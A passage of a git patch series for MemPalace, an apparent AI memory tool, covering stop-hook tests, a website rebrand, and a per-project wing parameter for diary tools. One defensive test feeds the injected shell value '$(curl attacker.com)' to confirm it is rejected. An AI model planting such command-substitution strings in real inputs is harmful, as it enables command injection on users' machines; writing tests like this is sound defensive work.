f"msg {i}"}} for i in range(5)], + ) + msgs = _extract_recent_messages(str(transcript), count=3) + assert len(msgs) == 3 + assert msgs[0] == "msg 2" + assert msgs[2] == "msg 4" + + +def test_extract_recent_messages_skips_commands(tmp_path): + transcript = tmp_path / "t.jsonl" + _write_transcript( + transcript, + [ + {"message": {"role": "user", "content": "real msg"}}, + {"message": {"role": "user", "content": "status"}}, + {"message": {"role": "user", "content": "hook"}}, + ], + ) + msgs = _extract_recent_messages(str(transcript)) + assert len(msgs) == 1 + assert msgs[0] == "real msg" + + +def test_extract_recent_messages_missing_file(): + assert _extract_recent_messages("/nonexistent.jsonl") == [] + + # --- hook_stop --- def _capture_hook_output(hook_fn, data, harness="claude-code", state_dir=None): """Run a hook and capture its JSON stdout output.""" import io + from unittest.mock import PropertyMock buf = io.StringIO() patches = [patch("mempalace.hooks_cli._output", side_effect=lambda d: buf.write(json.dumps(d)))] if state_dir: patches.append(patch("mempalace.hooks_cli.STATE_DIR", state_dir)) + # Mock MempalaceConfig so tests don't depend on user's ~/.mempalace/config.json + mock_config = MagicMock() + type(mock_config).hook_silent_save = PropertyMock(return_value=True) + type(mock_config).hook_desktop_toast = PropertyMock(return_value=False) + patches.append(patch("mempalace.config.MempalaceConfig", return_value=mock_config)) with contextlib.ExitStack() as stack: for p in patches: stack.enter_context(p) @@ -161,19 +217,23 @@ def test_stop_hook_passthrough_below_interval(tmp_path): assert result == {} -def test_stop_hook_blocks_at_interval(tmp_path): +def test_stop_hook_saves_silently_at_interval(tmp_path): transcript = tmp_path / "t.jsonl" _write_transcript( transcript, [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)], ) - result = _capture_hook_output( - hook_stop, - {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, - state_dir=tmp_path, - ) - assert result["decision"] == "block" - assert result["reason"] == STOP_BLOCK_REASON + save_result = {"count": 15, "themes": ["hooks", "notifications"]} + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save: + result = _capture_hook_output( + hook_stop, + {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, + state_dir=tmp_path, + ) + # Saves silently — systemMessage notification with themes, no block + assert result["systemMessage"].startswith("\u2726 15 memories woven into the palace") + assert "hooks" in result["systemMessage"] + mock_save.assert_called_once_with(str(transcript), "test", toast=False) def test_stop_hook_tracks_save_point(tmp_path): @@ -184,13 +244,17 @@ def test_stop_hook_tracks_save_point(tmp_path): ) data = {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)} - # First call blocks - result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) - assert result["decision"] == "block" + # First call saves silently with systemMessage notification + save_result = {"count": 15, "themes": ["hooks"]} + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result): + result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) + assert "systemMessage" in result # Second call with same count passes through (already saved) - result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) + with patch("mempalace.hooks_cli._save_diary_direct") as mock_save: + result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) assert result == {} + mock_save.assert_not_called() # --- hook_session_start --- @@ -384,12 +448,15 @@ def test_stop_hook_oserror_on_last_save_read(tmp_path): ) # Write invalid content to last save file (tmp_path / "test_last_save").write_text("not_a_number") - result = _capture_hook_output( - hook_stop, - {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, - state_dir=tmp_path, - ) - assert result["decision"] == "block" + save_result = {"count": 15, "themes": ["testing"]} + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result): + result = _capture_hook_output( + hook_stop, + {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, + state_dir=tmp_path, + ) + assert "systemMessage" in result + assert "15 memories" in result["systemMessage"] def test_stop_hook_oserror_on_write(tmp_path): @@ -403,18 +470,20 @@ def test_stop_hook_oserror_on_write(tmp_path): def bad_write_text(*args, **kwargs): raise OSError("disk full") + save_result = {"count": 15, "themes": []} with patch("mempalace.hooks_cli.STATE_DIR", tmp_path): - with patch.object(Path, "write_text", bad_write_text): - result = _capture_hook_output( - hook_stop, - { - "session_id": "test", - "stop_hook_active": False, - "transcript_path": str(transcript), - }, - state_dir=tmp_path, - ) - assert result["decision"] == "block" + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result): + with patch.object(Path, "write_text", bad_write_text): + result = _capture_hook_output( + hook_stop, + { + "session_id": "test", + "stop_hook_active": False, + "transcript_path": str(transcript), + }, + state_dir=tmp_path, + ) + assert "systemMessage" in result # --- hook_precompact with MEMPAL_DIR --- @@ -603,22 +672,29 @@ def test_validate_transcript_accepts_platform_native_path(tmp_path): def test_stop_hook_rejects_injected_stop_hook_active(tmp_path): - """stop_hook_active with shell injection string should not cause issues.""" + """stop_hook_active with shell injection string should not cause pass-through. + + Verifies the injected value is not treated as truthy — the save path runs + instead of being short-circuited. Mocks _save_diary_direct so we can assert + it was invoked regardless of silent vs legacy save mode. + """ transcript = tmp_path / "t.jsonl" _write_transcript( transcript, [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)], ) - # Simulate a malicious stop_hook_active value - result = _capture_hook_output( - hook_stop, - { - "session_id": "test", - "stop_hook_active": "$(curl attacker.com)", - "transcript_path": str(transcript), - }, - state_dir=tmp_path, - ) - # The injected value is not "true"/"1"/"yes", so the hook should NOT pass through - # It should count messages and block at the interval - assert result["decision"] == "block" + with patch( + "mempalace.hooks_cli._save_diary_direct", return_value={"count": 1, "themes": []} + ) as mock_save: + _capture_hook_output( + hook_stop, + { + "session_id": "test", + "stop_hook_active": "$(curl attacker.com)", + "transcript_path": str(transcript), + }, + state_dir=tmp_path, + ) + # The injected value is not "true"/"1"/"yes", so the hook should NOT pass through. + # Save must have been attempted. + assert mock_save.called From 4f003903359de21e387410861933d4d5c3d0f7ba Mon Sep 17 00:00:00 2001 From: bensig <1872138+bensig@users.noreply.github.com> Date: Wed, 22 Apr 2026 20:24:39 -0700 Subject: [PATCH 32/61] =?UTF-8?q?feat(website):=20apply=20Crystal=20Lattic?= =?UTF-8?q?e=20brand=20=E2=80=94=20fonts,=20palette,=20hero=20copy?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Swap Inter/Cormorant Garamond/Geist → Neue Machina/Satoshi/Onest (all free/web) - Align color palette to Crystal Lattice decision (0002): void #080C18, cyan-vivid #38BDF8, ice #DBE7F5 - Update hero: "Memory *is* identity." with italic blue "is", white "identity" - New hero subtext: "Every conversation, every idea, every small decision… held somewhere safe." - JetBrains Mono unchanged (already OFL) Co-Authored-By: Claude Opus 4.6 (1M context) --- website/.vitepress/config.mts | 4 +- .../.vitepress/theme/landing/HeroSection.vue | 9 +- website/.vitepress/theme/landing/landing.css | 49 +++---- website/.vitepress/theme/style.css | 129 ++++++++++-------- 4 files changed, 103 insertions(+), 88 deletions(-) diff --git a/website/.vitepress/config.mts b/website/.vitepress/config.mts index 49cf975..47b69e2 100644 --- a/website/.vitepress/config.mts +++ b/website/.vitepress/config.mts @@ -21,9 +21,11 @@ export default withMermaid( head: [ ['link', { rel: 'icon', href: `${docsBase}mempalace_logo.png` }], + ['link', { rel: 'preconnect', href: 'https://api.fontshare.com' }], + ['link', { href: 'https://api.fontshare.com/v2/css?f[]=neue-machina@300,400,500,700,800&f[]=satoshi@300,400,500,700&display=swap', rel: 'stylesheet' }], ['link', { rel: 'preconnect', href: 'https://fonts.googleapis.com' }], ['link', { rel: 'preconnect', href: 'https://fonts.gstatic.com', crossorigin: '' }], - ['link', { href: 'https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@300;400;500&family=Cormorant+Garamond:ital,wght@0,300;0,400;0,500;0,600;0,700;1,300;1,400&family=Geist:wght@300;400;500;600&display=swap', rel: 'stylesheet' }], + ['link', { href: 'https://fonts.googleapis.com/css2?family=Onest:wght@300;400;500;600&family=JetBrains+Mono:wght@400;500&display=swap', rel: 'stylesheet' }], ['meta', { property: 'og:title', content: 'MemPalace — AI Memory System' }], ['meta', { property: 'og:description', content: '96.6% LongMemEval recall. Zero API calls. Local, free, open source.' }], ['meta', { property: 'og:image', content: `${docsBase}mempalace_logo.png` }], diff --git a/website/.vitepress/theme/landing/HeroSection.vue b/website/.vitepress/theme/landing/HeroSection.vue index 279e80d..bca5f18 100644 --- a/website/.vitepress/theme/landing/HeroSection.vue +++ b/website/.vitepress/theme/landing/HeroSection.vue @@ -5,13 +5,12 @@

- Memory is - identity. + Memory is + identity.

- An AI that forgets cannot know you. MemPalace keeps every word you have - shared — verbatim, on your machine, permanent. Designed for total - recall. + Every conversation, every idea, every small decision… held somewhere safe. +

Welcome to the future of memory: MemPalace

diff --git a/website/.vitepress/theme/landing/landing.css b/website/.vitepress/theme/landing/landing.css index 908ac8c..313f906 100644 --- a/website/.vitepress/theme/landing/landing.css +++ b/website/.vitepress/theme/landing/landing.css @@ -24,23 +24,23 @@ body.mempalace-active .VPDoc { body.mempalace-active { overflow-x: hidden; } .mempalace-landing { - --void: #05070A; - --obsidian: #0A0D12; - --obsidian-2: #11151C; - --ink: #181D26; - --hair: rgba(158, 216, 255, 0.14); - --hair-strong: rgba(158, 216, 255, 0.28); - --ice: #EAF4FF; - --ice-dim: #b8c7d9; - --ice-ghost: rgba(234, 244, 255, 0.56); - --prism: #9ED8FF; - --prism-core: #4AA3FF; - --refract: #A8B5FF; - --stellar: #F3E7B0; - --ember: #E28A6B; + --void: #080C18; + --obsidian: #0F1524; + --obsidian-2: #182033; + --ink: #1C2640; + --hair: rgba(56, 189, 248, 0.14); + --hair-strong: rgba(56, 189, 248, 0.28); + --ice: #DBE7F5; + --ice-dim: #8B99B0; + --ice-ghost: rgba(219, 231, 245, 0.56); + --prism: #7DD3FC; + --prism-core: #38BDF8; + --refract: #A78BFA; + --stellar: #FBBF24; + --ember: #FF8B8B; - --f-display: "Cormorant Garamond", "Times New Roman", serif; - --f-body: "Geist", ui-sans-serif, system-ui, sans-serif; + --f-display: "Neue Machina", "Satoshi", sans-serif; + --f-body: "Onest", ui-sans-serif, system-ui, sans-serif; --f-mono: "JetBrains Mono", ui-monospace, monospace; --measure: 68ch; @@ -50,7 +50,7 @@ body.mempalace-active { overflow-x: hidden; } background: var(--void); color: var(--ice); font-family: var(--f-body); - font-weight: 300; + font-weight: 400; font-size: 16px; line-height: 1.6; -webkit-font-smoothing: antialiased; @@ -60,16 +60,16 @@ body.mempalace-active { overflow-x: hidden; } position: relative; } .mempalace-landing * { box-sizing: border-box; } -.mempalace-landing ::selection { background: var(--prism-core); color: var(--void); } +.mempalace-landing ::selection { background: var(--prism-core); color: #080C18; } .mempalace-landing::before { content: ""; position: fixed; inset: 0; pointer-events: none; background: - radial-gradient(80% 60% at 50% -10%, rgba(74,163,255,0.18), transparent 60%), - radial-gradient(40% 40% at 85% 20%, rgba(168,181,255,0.08), transparent 70%), - radial-gradient(50% 50% at 15% 80%, rgba(158,216,255,0.06), transparent 70%); + radial-gradient(80% 60% at 50% -10%, rgba(56,189,248,0.18), transparent 60%), + radial-gradient(40% 40% at 85% 20%, rgba(167,139,250,0.08), transparent 70%), + radial-gradient(50% 50% at 15% 80%, rgba(125,211,252,0.06), transparent 70%); z-index: 0; } .mempalace-landing::after { @@ -153,7 +153,7 @@ body.mempalace-active { overflow-x: hidden; } line-height: 0.95; color: var(--ice); } -.mempalace-landing .display em { font-style: italic; color: var(--prism); } +.mempalace-landing .display em { font-style: italic; color: var(--prism-core); } .mempalace-landing .lede { font-family: var(--f-display); /* font-style: italic; */ @@ -237,8 +237,11 @@ body.mempalace-active { overflow-x: hidden; } margin: 0 0 1.25rem; } .mempalace-landing .hero h1 .line { display: block; } -.mempalace-landing .hero h1 .line-2 { font-style: italic; color: var(--prism); font-weight: 300; } +.mempalace-landing .hero h1 .line-2 { font-style: normal; font-weight: 400; } +.mempalace-landing .hero h1 .is-accent { font-style: italic; color: var(--prism-core); font-weight: 300; } +.mempalace-landing .hero h1 .identity-white { color: #ffffff; } .mempalace-landing .hero .lede { margin-bottom: 0; } +.mempalace-landing .hero .lede .mp-blue { color: var(--prism-core); font-weight: 500; } .mempalace-landing .hero-cta { display: flex; flex-wrap: wrap; diff --git a/website/.vitepress/theme/style.css b/website/.vitepress/theme/style.css index 4aacc70..0d23190 100644 --- a/website/.vitepress/theme/style.css +++ b/website/.vitepress/theme/style.css @@ -1,67 +1,73 @@ /* ── MemPalace Custom Theme ──────────────────────────────────────────── */ -/* Deep indigo / cyan palette — evoking architectural grandeur */ +/* Crystal Lattice palette — crystalline cyan through deep blue-black */ :root { - /* Brand palette */ - --mp-indigo: #4f46e5; - --mp-indigo-light: #6366f1; - --mp-indigo-dark: #3730a3; - --mp-cyan: #06b6d4; - --mp-cyan-light: #22d3ee; - --mp-purple: #8b5cf6; - --mp-purple-light: #a78bfa; - --mp-emerald: #10b981; - --mp-amber: #f59e0b; + /* Crystal Lattice palette */ + --mp-bg: #080C18; + --mp-surface: #0F1524; + --mp-surface-high: #182033; + --mp-border: #1C2640; + --mp-border-soft: #121829; + --mp-cyan: #7DD3FC; + --mp-cyan-vivid: #38BDF8; + --mp-ice: #DBE7F5; + --mp-body: #CDD5E0; + --mp-muted: #8B99B0; + --mp-dim: #5B6B82; + --mp-ok: #34D399; + --mp-warn: #FBBF24; + --mp-hot: #FF8B8B; + --mp-violet: #A78BFA; /* VitePress overrides */ - --vp-c-brand-1: var(--mp-indigo); - --vp-c-brand-2: var(--mp-indigo-light); - --vp-c-brand-3: var(--mp-purple); - --vp-c-brand-soft: rgba(79, 70, 229, 0.14); + --vp-c-brand-1: var(--mp-cyan-vivid); + --vp-c-brand-2: var(--mp-cyan); + --vp-c-brand-3: var(--mp-violet); + --vp-c-brand-soft: rgba(56, 189, 248, 0.14); - --vp-font-family-base: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; - --vp-font-family-mono: 'JetBrains Mono', 'Fira Code', monospace; + --vp-font-family-base: 'Onest', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; + --vp-font-family-mono: 'JetBrains Mono', monospace; /* Home hero gradient */ --vp-home-hero-name-color: transparent; - --vp-home-hero-name-background: linear-gradient(135deg, var(--mp-indigo) 0%, var(--mp-cyan) 50%, var(--mp-purple) 100%); - --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(79, 70, 229, 0.25) 0%, rgba(6, 182, 212, 0.25) 50%, rgba(139, 92, 246, 0.15) 100%); + --vp-home-hero-name-background: linear-gradient(135deg, var(--mp-ice) 0%, var(--mp-cyan-vivid) 60%, var(--mp-violet) 100%); + --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(56, 189, 248, 0.25) 0%, rgba(125, 211, 252, 0.2) 50%, rgba(167, 139, 250, 0.15) 100%); --vp-home-hero-image-filter: blur(56px); /* Button colors */ --vp-button-brand-border: transparent; - --vp-button-brand-text: #ffffff; - --vp-button-brand-bg: var(--mp-indigo); + --vp-button-brand-text: #080C18; + --vp-button-brand-bg: var(--mp-cyan-vivid); --vp-button-brand-hover-border: transparent; - --vp-button-brand-hover-text: #ffffff; - --vp-button-brand-hover-bg: var(--mp-indigo-light); + --vp-button-brand-hover-text: #080C18; + --vp-button-brand-hover-bg: var(--mp-cyan); - --vp-button-alt-border: rgba(79, 70, 229, 0.25); - --vp-button-alt-text: var(--mp-indigo); - --vp-button-alt-bg: rgba(79, 70, 229, 0.08); - --vp-button-alt-hover-border: rgba(79, 70, 229, 0.4); - --vp-button-alt-hover-text: var(--mp-indigo-dark); - --vp-button-alt-hover-bg: rgba(79, 70, 229, 0.14); + --vp-button-alt-border: rgba(56, 189, 248, 0.25); + --vp-button-alt-text: var(--mp-cyan-vivid); + --vp-button-alt-bg: rgba(56, 189, 248, 0.08); + --vp-button-alt-hover-border: rgba(56, 189, 248, 0.4); + --vp-button-alt-hover-text: var(--mp-cyan); + --vp-button-alt-hover-bg: rgba(56, 189, 248, 0.14); } /* Dark mode overrides */ .dark { - --vp-c-brand-1: var(--mp-cyan-light); + --vp-c-brand-1: var(--mp-cyan-vivid); --vp-c-brand-2: var(--mp-cyan); - --vp-c-brand-3: var(--mp-purple-light); - --vp-c-brand-soft: rgba(6, 182, 212, 0.14); + --vp-c-brand-3: var(--mp-violet); + --vp-c-brand-soft: rgba(56, 189, 248, 0.14); - --vp-button-brand-bg: var(--mp-indigo-light); - --vp-button-brand-hover-bg: var(--mp-indigo); + --vp-button-brand-bg: var(--mp-cyan-vivid); + --vp-button-brand-hover-bg: var(--mp-cyan); - --vp-button-alt-border: rgba(34, 211, 238, 0.25); - --vp-button-alt-text: var(--mp-cyan-light); - --vp-button-alt-bg: rgba(34, 211, 238, 0.08); - --vp-button-alt-hover-border: rgba(34, 211, 238, 0.4); + --vp-button-alt-border: rgba(56, 189, 248, 0.25); + --vp-button-alt-text: var(--mp-cyan-vivid); + --vp-button-alt-bg: rgba(56, 189, 248, 0.08); + --vp-button-alt-hover-border: rgba(56, 189, 248, 0.4); --vp-button-alt-hover-text: var(--mp-cyan); - --vp-button-alt-hover-bg: rgba(34, 211, 238, 0.14); + --vp-button-alt-hover-bg: rgba(56, 189, 248, 0.14); - --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(99, 102, 241, 0.3) 0%, rgba(6, 182, 212, 0.3) 50%, rgba(139, 92, 246, 0.2) 100%); + --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(56, 189, 248, 0.3) 0%, rgba(125, 211, 252, 0.2) 50%, rgba(167, 139, 250, 0.15) 100%); } /* ── Hero section ───────────────────────────────────────────────────── */ @@ -72,19 +78,22 @@ } .VPHero .name { - font-weight: 700 !important; + font-family: 'Neue Machina', 'Satoshi', sans-serif !important; + font-weight: 500 !important; + letter-spacing: -1.5px; } .VPHero .text { + font-family: 'Satoshi', 'Onest', sans-serif; font-weight: 500; - background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-indigo-light) 100%); + background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-cyan-vivid) 100%); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .dark .VPHero .text { - background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-cyan-light) 100%); + background: linear-gradient(135deg, var(--mp-ice) 0%, var(--mp-cyan-vivid) 100%); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; @@ -99,16 +108,17 @@ .VPFeature:hover { transform: translateY(-4px); - border-color: var(--mp-indigo); - box-shadow: 0 12px 40px rgba(79, 70, 229, 0.12); + border-color: var(--mp-cyan-vivid); + box-shadow: 0 12px 40px rgba(56, 189, 248, 0.12); } .dark .VPFeature:hover { - border-color: var(--mp-cyan); - box-shadow: 0 12px 40px rgba(6, 182, 212, 0.12); + border-color: var(--mp-cyan-vivid); + box-shadow: 0 12px 40px rgba(56, 189, 248, 0.12); } .VPFeature .title { + font-family: 'Satoshi', 'Onest', sans-serif; font-weight: 600; } @@ -119,12 +129,12 @@ } .VPSidebar .VPSidebarItem.is-active .text { - color: var(--mp-indigo) !important; + color: var(--mp-cyan-vivid) !important; font-weight: 600; } .dark .VPSidebar .VPSidebarItem.is-active .text { - color: var(--mp-cyan-light) !important; + color: var(--mp-cyan-vivid) !important; } /* ── Code blocks ────────────────────────────────────────────────────── */ @@ -135,21 +145,21 @@ } .dark .vp-doc div[class*='language-'] { - border-color: rgba(6, 182, 212, 0.15); + border-color: rgba(56, 189, 248, 0.15); } /* ── Custom containers ──────────────────────────────────────────────── */ .vp-doc .custom-block.tip { - border-color: var(--mp-cyan); + border-color: var(--mp-ok); } .vp-doc .custom-block.warning { - border-color: var(--mp-amber); + border-color: var(--mp-warn); } .vp-doc .custom-block.info { - border-color: var(--mp-indigo); + border-color: var(--mp-cyan-vivid); } /* ── Tables ─────────────────────────────────────────────────────────── */ @@ -160,19 +170,20 @@ } .vp-doc th { - background: rgba(79, 70, 229, 0.06); + background: rgba(56, 189, 248, 0.06); font-weight: 600; } .dark .vp-doc th { - background: rgba(6, 182, 212, 0.08); + background: rgba(56, 189, 248, 0.08); } /* ── Nav ────────────────────────────────────────────────────────────── */ .VPNavBar .VPNavBarTitle .title { - font-weight: 700; - letter-spacing: -0.01em; + font-family: 'Neue Machina', 'Satoshi', sans-serif; + font-weight: 500; + letter-spacing: -0.4px; } /* ── Footer ─────────────────────────────────────────────────────────── */ @@ -193,11 +204,11 @@ } ::-webkit-scrollbar-thumb:hover { - background: var(--mp-indigo); + background: var(--mp-cyan-vivid); } .dark ::-webkit-scrollbar-thumb:hover { - background: var(--mp-cyan); + background: var(--mp-cyan-vivid); } /* ── Smooth transitions ─────────────────────────────────────────────── */ From df3ee289fc9331e5cf1a287df800c36534161065 Mon Sep 17 00:00:00 2001 From: Jeffrey Hein Date: Thu, 23 Apr 2026 15:07:25 -0700 Subject: [PATCH 33/61] fix: add wing param to diary_write/diary_read, derive from transcript path (#659) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix: add wing param to diary_write/diary_read, derive from transcript path Without a wing override, all diary entries from the stop hook land in wing_session-hook regardless of which project the session is in, making per-project diary search impossible. - tool_diary_write(): add optional `wing` param; sanitize and use it when provided, fall back to wing_{agent_name} when omitted - tool_diary_read(): add optional `wing` param for filtering by target wing - TOOLS dict: expose `wing` in input_schema for both diary tools - hooks_cli: add _wing_from_transcript_path() helper that extracts the project name from Claude Code paths like ~/.claude/projects/-home-jp-Projects-kiyo-xhci-fix/... → kiyo-xhci-fix - hook_stop: derive project wing and append wing= hint to block reason so Claude writes diary entries to the correct per-project wing Co-Authored-By: Claude Sonnet 4.6 * fix: sanitize wing param, cross-platform paths, tighten test assertions Addresses Copilot review feedback on #659. Co-Authored-By: Claude Opus 4.6 * fix: wing_ prefix + agent filter on diary_read Addresses bensig's 2-issue review on this PR. 1. _wing_from_transcript_path() was returning bare project names (e.g. "myproject") while all existing wings follow the wing_* convention from AAAK_SPEC. Entries landed in wing="myproject" while diary_read defaulted to wing="wing_" — orphaning every diary entry written by the stop hook. Now returns "wing_" and falls back to "wing_sessions". 2. tool_diary_read() did not include agent_name in the ChromaDB where filter when a custom wing was provided — any caller with a shared wing could read entries written by other agents. Add {"agent": agent_name} to the $and clause. Also flagged by Qudo and left unresolved until now. Tests updated to expect the wing_ prefix (6 tests). Co-Authored-By: Claude Opus 4.7 (1M context) --------- Co-authored-by: Claude Sonnet 4.6 --- mempalace/hooks_cli.py | 33 ++++++++++++++++++++++++++++-- mempalace/mcp_server.py | 39 ++++++++++++++++++++++++++++------- tests/test_hooks_cli.py | 45 ++++++++++++++++++++++++++++++++++++++++- 3 files changed, 107 insertions(+), 10 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 19a71e2..4672e85 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -379,10 +379,15 @@ def _extract_themes(messages: list[str], max_themes: int = 3) -> list[str]: def _save_diary_direct( transcript_path: str, session_id: str, + wing: str = "", toast: bool = False, ) -> dict: """Write a diary checkpoint by calling the tool function directly (no MCP roundtrip). + If `wing` is set, the entry lands in that wing (typically the project wing + derived from the transcript path). Otherwise falls back to `tool_diary_write`'s + default of `wing_session-hook`. + Returns {"count": N, "themes": [...]} on success, {"count": 0} on failure. """ messages = _extract_recent_messages(transcript_path) @@ -407,6 +412,7 @@ def _save_diary_direct( agent_name="session-hook", entry=entry, topic="checkpoint", + wing=wing, ) if result.get("success"): _log(f"Diary checkpoint saved: {result.get('entry_id', '?')}") @@ -481,6 +487,24 @@ def _parse_harness_input(data: dict, harness: str) -> dict: } +def _wing_from_transcript_path(transcript_path: str) -> str: + """Derive a project wing name from a Claude Code transcript path. + + Claude Code stores transcripts at: + ~/.claude/projects/-home--Projects-/session.jsonl + We extract and return ``wing_`` to match the + AAAK_SPEC convention (``wing_user``, ``wing_agent``, ``wing_code``, + ``wing_``…). Falls back to ``wing_sessions``. + """ + # Normalize path separators for cross-platform (Windows backslashes) + normalized = transcript_path.replace("\\", "/") + match = re.search(r"-Projects-([^/]+?)(?:/|$)", normalized) + if match: + project = match.group(1).lower().replace(" ", "_") + return f"wing_{project}" + return "wing_sessions" + + def hook_stop(data: dict, harness: str): """Stop hook: block every N messages for auto-save.""" parsed = _parse_harness_input(data, harness) @@ -543,11 +567,15 @@ def hook_stop(data: dict, harness: str): silent = True toast = False + project_wing = _wing_from_transcript_path(transcript_path) + if silent: # Save directly via Python API — systemMessage renders in terminal result = {"count": 0} if transcript_path: - result = _save_diary_direct(transcript_path, session_id, toast=toast) + result = _save_diary_direct( + transcript_path, session_id, wing=project_wing, toast=toast + ) _ingest_transcript(transcript_path) _maybe_auto_ingest(transcript_path) # Only advance save marker after successful save @@ -580,7 +608,8 @@ def hook_stop(data: dict, harness: str): if transcript_path: _ingest_transcript(transcript_path) _maybe_auto_ingest(transcript_path) - _output({"decision": "block", "reason": STOP_BLOCK_REASON}) + reason = STOP_BLOCK_REASON + f" Write diary entry to wing={project_wing}." + _output({"decision": "block", "reason": reason}) else: _output({}) diff --git a/mempalace/mcp_server.py b/mempalace/mcp_server.py index 6fe8225..606ecfb 100644 --- a/mempalace/mcp_server.py +++ b/mempalace/mcp_server.py @@ -918,10 +918,10 @@ def tool_kg_stats(): # ==================== AGENT DIARY ==================== -def tool_diary_write(agent_name: str, entry: str, topic: str = "general"): +def tool_diary_write(agent_name: str, entry: str, topic: str = "general", wing: str = ""): """ - Write a diary entry for this agent. Each agent gets its own wing - with a diary room. Entries are timestamped and accumulate over time. + Write a diary entry for this agent. Entries are timestamped and + accumulate over time in a diary room. This is the agent's personal journal — observations, thoughts, what it worked on, what it noticed, what it thinks matters. @@ -932,7 +932,10 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"): except ValueError as e: return {"success": False, "error": str(e)} - wing = f"wing_{agent_name.lower().replace(' ', '_')}" + if wing: + wing = sanitize_name(wing) + else: + wing = f"wing_{agent_name.lower().replace(' ', '_')}" room = "diary" col = _get_collection(create=True) if not col: @@ -987,24 +990,38 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"): return {"success": False, "error": str(e)} -def tool_diary_read(agent_name: str, last_n: int = 10): +def tool_diary_read(agent_name: str, last_n: int = 10, wing: str = ""): """ Read an agent's recent diary entries. Returns the last N entries in chronological order — the agent's personal journal. + + When ``wing`` is provided, reads from that wing instead of the + agent's default ``wing_`` wing. This lets hooks + direct diary reads to a project-specific wing derived from + the transcript path. """ try: agent_name = sanitize_name(agent_name, "agent_name") + if wing: + wing = sanitize_name(wing) except ValueError as e: return {"error": str(e)} last_n = max(1, min(last_n, 100)) - wing = f"wing_{agent_name.lower().replace(' ', '_')}" + if not wing: + wing = f"wing_{agent_name.lower().replace(' ', '_')}" col = _get_collection() if not col: return _no_palace() try: results = col.get( - where={"$and": [{"wing": wing}, {"room": "diary"}]}, + where={ + "$and": [ + {"wing": wing}, + {"room": "diary"}, + {"agent": agent_name}, + ] + }, include=["documents", "metadatas"], limit=10000, ) @@ -1497,6 +1514,10 @@ TOOLS = { "type": "string", "description": "Topic tag (optional, default: general)", }, + "wing": { + "type": "string", + "description": "Target wing for this diary entry (optional). If omitted, uses wing_{agent_name}. Use this to write diary entries to a project wing instead of an agent-specific wing.", + }, }, "required": ["agent_name", "entry"], }, @@ -1515,6 +1536,10 @@ TOOLS = { "type": "integer", "description": "Number of recent entries to read (default: 10)", }, + "wing": { + "type": "string", + "description": "Wing to read diary entries from (optional). If omitted, reads from wing_{agent_name}.", + }, }, "required": ["agent_name"], }, diff --git a/tests/test_hooks_cli.py b/tests/test_hooks_cli.py index d981489..a5af129 100644 --- a/tests/test_hooks_cli.py +++ b/tests/test_hooks_cli.py @@ -20,6 +20,7 @@ from mempalace.hooks_cli import ( _parse_harness_input, _sanitize_session_id, _validate_transcript_path, + _wing_from_transcript_path, hook_stop, hook_session_start, hook_precompact, @@ -233,7 +234,27 @@ def test_stop_hook_saves_silently_at_interval(tmp_path): # Saves silently — systemMessage notification with themes, no block assert result["systemMessage"].startswith("\u2726 15 memories woven into the palace") assert "hooks" in result["systemMessage"] - mock_save.assert_called_once_with(str(transcript), "test", toast=False) + # tmp_path has no "-Projects-" segment, so _wing_from_transcript_path falls back to "wing_sessions" + mock_save.assert_called_once_with(str(transcript), "test", wing="wing_sessions", toast=False) + + +def test_stop_hook_derives_wing_from_transcript_path(tmp_path): + """When transcript path looks like a Claude Code path, wing is derived from it.""" + project_dir = tmp_path / ".claude" / "projects" / "-home-jp-Projects-myproject" + project_dir.mkdir(parents=True) + transcript = project_dir / "session.jsonl" + _write_transcript( + transcript, + [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)], + ) + save_result = {"count": 15, "themes": []} + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save: + _capture_hook_output( + hook_stop, + {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, + state_dir=tmp_path, + ) + mock_save.assert_called_once_with(str(transcript), "test", wing="wing_myproject", toast=False) def test_stop_hook_tracks_save_point(tmp_path): @@ -281,6 +302,28 @@ def test_precompact_allows(tmp_path): assert result == {} +# --- _wing_from_transcript_path --- + + +def test_wing_from_transcript_path_extracts_project(): + path = "/home/jp/.claude/projects/-home-jp-Projects-memorypalace/session.jsonl" + assert _wing_from_transcript_path(path) == "wing_memorypalace" + + +def test_wing_from_transcript_path_fallback(): + assert _wing_from_transcript_path("/some/random/path.jsonl") == "wing_sessions" + + +def test_wing_from_transcript_path_windows_backslashes(): + path = 